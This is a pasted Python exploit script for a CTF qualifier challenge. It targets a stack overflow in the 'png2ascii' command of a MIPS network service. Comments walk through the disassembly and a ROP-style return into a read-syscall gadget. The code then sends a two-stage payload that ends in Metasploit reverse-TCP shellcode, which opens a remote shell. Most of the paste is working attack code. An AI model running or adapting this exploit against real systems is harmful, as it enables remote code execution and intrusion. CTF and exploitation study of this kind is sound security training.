Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # exploit by @jgrusko
- # The real problem here is getting a linux MIPS and actually understanding MIPS, which
- # i didn't :) So does hexray...
- # Fortunately someone bothered creating a small debian squeeze image, which can be used with
- # qemu-mips: http://people.debian.org/~aurel32/qemu/mips/
- # The program is a server that allows connected client to send commands:
- #
- #IRIX (quals.ddtek.biz)
- #login: ^D
- #IRIX Release 6.5 IP32 ddtek
- #Copyright 1987-2002 Silic0n Graphix, Inc. All Rights Reserved.
- #Last login: Tue Jun 08 20:15:27 GMT 1954 by UNKNOWN@quals.ddtek.biz
- #
- #dd 0% help
- #Available commands:
- #qotd
- #ls
- #png2ascii
- #help
- #exit
- #quit
- #dd 1% png2ascii
- #Copy and paste your PNG file and I will convert it to ASCII for you:
- #AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- #AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- #AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- #AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- #
- # Issuing the "png2ascii" command and supplying a large string triggers a stack overflow
- # vulnerability.
- # The png2ascii() function is a follows:
- #.text:00401BC4 png2ascii_handler:
- #..
- #.text:00401BD0 addiu $sp, -0x130 // reserve space on stack for
- # // local variables
- #.text:00401BD4 sw $ra, 0x130+var_4($sp) // push return address
- #.text:00401BD8 sw $fp, 0x130+var_8($sp) // push sfp
- #.text:00401BDC move $fp, $sp
- #...
- #.text:00401C4C addiu $v0, $fp, 0x130+var_108 // Load buffer into $v0
- #.text:00401C50 lw $a0, 0x130+arg_0($fp) // load socket descriptor in $a0
- #.text:00401C54 move $a1, $v0 // load buffer addr into $a1
- #.text:00401C58 li $a2, 0x200 // load max size into $a2
- #.text:00401C5C li $a3, 0xA // load delimiter into $a3
- #.text:00401C60 la $t9, read_until_delim // load read_until_delim in $t9
- #.text:00401C64 nop
- #.text:00401C68 jalr $t9 ; read_until_delim // call read_until_delim() func
- #
- # The read_until_delim function actually call a getc() like function inside a loop until the
- # supplied delimiter '\n' is encountered or the maximum buffer size is reached.
- # The function has the following prototype:
- # int read_until_delim(int sockfd, char *buffer, unsigned int max_size, char delim);
- #
- # However the maximum read size is 0x200, which is almost the double of the reserved stack
- # space. This is a classic stack overflow.
- # The real difficulty being dealing with the MIPS architecture
- # In order to get a one shot exploit, i decided to go for ROP-like exploitation. The big
- # problem is that MIPS is not ROPpers friendly since every opcode is 4-bytes it's unlikely to
- # find the required gadgets.
- # The solution I used was to return on the code performing the read syscall:
- #.text:0040F968 lw $gp, 0x20($sp)
- #.text:0040F96C sw $v0, 0x2c($sp)
- #.text:0040F970 lw $a0, 0x0($sp) // file descriptor
- #.text:0040F974 lw $a1, 0x4($sp) // destination buffer address
- #.text:0040F978 lw $a2, 0x8($sp) // read size
- #.text:0040F97C li $v0, 0xFA3 // read syscall
- #.text:0040F980 syscall 0 // perform syscall
- #.text:0040F984 sw $v0, 0x30+var_C($sp)
- #.text:0040F988 sw $a3, 0x30+var_8($sp)
- #.text:0040F98C lw $a0, 0x30+var_4($sp)
- #.text:0040F990 la $t9, -0x7ccc($gp) // load function address
- #.text:0040F994 nop
- #.text:0040F998 jalr $t9 // jump to function
- #
- # With the following stack layout:
- # 0x00000000 0x0040f968 // Return address (Address of above code)
- # 0x00000004 0x00000004 // socket filedescriptor
- # 0x00000008 0x10000000 // address of destination into .data section
- # 0x0000000c 0x00000400 // read size
- # 0x00000014 0x41414141 // junk
- # 0x00000018 0x41414141 // junk
- # 0x0000001c 0x41414141 // junk
- # 0x00000020 0x41414141 // junk
- # 0x00000024 0x10007ccc // goes into $gp register
- #
- # When the function will return, the code will actually read attacker second stage payload
- # into the address 0x10000000 in binary .data section.
- # The 0x10007ccc value is put into $gp by the instruction:
- # .text:0040F968 lw $gp, 0x20($sp)
- # When the following instruction is reached:
- # .text:0040F990 la $t9, -0x7ccc($gp)
- # .text:0040F994 nop
- # .text:0040F998 jalr $t9 // jump to function
- # The value at (0x10007ccc - 0x7ccc) = 0x10000000 will be put into $t9.
- # By just prepending the second stage payload with the dword 0x10000004 the code will jump
- # directly into the payload.
- #
- # Here's the actual exploit code:
- import struct
- import socket
- import sys
- # msfpayload linux/mipsle/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444
- shellcode = (
- "\xef\xff\x09\x24\xff\xff\x10\x05\x82\x82\x08\x28\x27\x48"
- "\x20\x01\x21\xc8\x3f\x01\x48\x85\xb9\xaf\x48\x85\xb9\x23"
- "\x00\x00\x1c\x3c\x00\x00\x9c\x27\x21\xe0\x99\x03\x00\x00"
- "\x89\x8f\xd8\xff\xbd\x27\xe8\x00\x2a\x25\x04\x00\x47\x8d"
- "\xe8\x00\x28\x8d\x00\x01\x04\x3c\x7f\x00\x83\x34\x18\x00"
- "\xb9\x27\x02\x00\x06\x24\x11\x5c\x05\x24\x08\x00\xa6\xa7"
- "\x0a\x00\xa5\xa7\x18\x00\xa8\xaf\x1c\x00\xa7\xaf\x0c\x00"
- "\xa3\xaf\x20\x00\xb9\xaf\x24\x00\xa0\xaf\x02\x00\x04\x24"
- "\x02\x00\x05\x24\x21\x30\x00\x00\x57\x10\x02\x24\x0c\x00"
- "\x00\x00\x21\x18\x40\x00\xff\xff\x02\x24\x1a\x00\x62\x10"
- "\x01\x00\x04\x24\x21\x20\x60\x00\x08\x00\xa5\x27\x10\x00"
- "\x06\x24\x4a\x10\x02\x24\x0c\x00\x00\x00\x0e\x00\x40\x14"
- "\x21\x28\x00\x00\xdf\x0f\x02\x24\x0c\x00\x00\x00\x01\x00"
- "\x05\x24\xdf\x0f\x02\x24\x0c\x00\x00\x00\x02\x00\x05\x24"
- "\xdf\x0f\x02\x24\x0c\x00\x00\x00\x21\x30\x00\x00\x21\x20"
- "\x20\x03\x20\x00\xa5\x27\xab\x0f\x02\x24\x0c\x00\x00\x00"
- "\x21\x20\x00\x00\xa1\x0f\x02\x24\x0c\x00\x00\x00\x08\x00"
- "\xe0\x03\x28\x00\xbd\x27\xa1\x0f\x02\x24\x0c\x00\x00\x00"
- "\xe5\xff\x00\x10\x21\x20\x60\x00\x2f\x62\x69\x6e\x2f\x73"
- "\x68\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
- "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
- "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
- "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
- "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
- "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
- )
- retAddr = struct.pack("<I", 0x40f968)
- def exploit():
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect(("localhost", 1994))
- print(s.recv(4096))
- s.send(b"png2ascii\n")
- print(s.recv(4096))
- payload = "\x00" * (260)
- payload += retAddr # return on code performing read syscall
- payload += struct.pack("<I", 0x04) # filedescriptor
- payload += struct.pack("<I", 0x10000000) # destination address
- payload += struct.pack("<I", 0x400) # read size
- payload += "EEEEFFFFGGGGHHHHIIII" # junk arguments
- payload += struct.pack("<I", 0x10007ccc) # goes into gp
- payload += "\n"
- # Send first stage payload
- s.send(payload)
- # Send second stage payload
- s.send(struct.pack("<I", 0x10000004) + shellcode)
- print(s.recv(8192))
- print(s.recv(8192))
- s.close()
- if __name__ == "__main__":
- exploit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement